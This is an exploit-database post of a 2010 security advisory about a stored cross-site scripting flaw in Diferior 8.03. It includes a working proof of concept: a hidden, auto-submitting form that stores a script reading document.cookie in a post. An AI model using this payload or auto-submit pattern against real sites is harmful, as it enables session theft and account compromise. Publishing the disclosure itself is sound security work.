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[webapps / 0day] - Diferior 8.03 XSS Vulnerability

Posted on 29 November 2010

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Diferior 8.03 XSS Vulnerability
===============================

Product: Diferior
Vendor: Povilas Musteikis ( http://www.diferior.com/ )
Vulnerable Version: 8.03 and probably prior versions
Vendor Notification:
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the &quot;views/post.php&quot; script to properly sanitize user-supplied input in &quot;post_content&quot; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
&lt;form action=&quot;http://host/post/edit/2/p1.html&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; name=&quot;main&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;category&quot; value=&quot;sample-category-1&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;header&quot; value=&quot;Sample post&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;subheader&quot; value=&quot;Sample subheader&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;post_content&quot; value=&#039;html&lt;script&gt;alert(document.cookie)&lt;/script&gt;&#039;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;schedule&quot; value=&quot;now&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;scheduler&quot; value=&quot;10/11/23&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Date_Year&quot; value=&quot;2010&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Date_Month&quot; value=&quot;11&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Date_Day&quot; value=&quot;22&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Time_Hour&quot; value=&quot;20&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Time_Minute&quot; value=&quot;47&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;Time_Second&quot; value=&quot;23&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;usehtml&quot; value=&quot;html&quot;&gt;
&lt;/form&gt;
&lt;script&gt;
document.main.submit();
&lt;/script&gt;


# <a href='http://1337db.com/'>1337db.com</a> [2010-11-29]</pre></body></html>

 

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